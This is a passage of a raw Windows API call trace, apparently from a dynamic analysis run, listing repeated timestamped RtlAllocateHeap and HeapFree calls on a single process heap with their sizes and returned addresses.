(HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.618] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.618] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.619] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.619] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.620] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.620] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.621] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.621] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.622] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.622] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.623] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.623] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.624] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.624] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 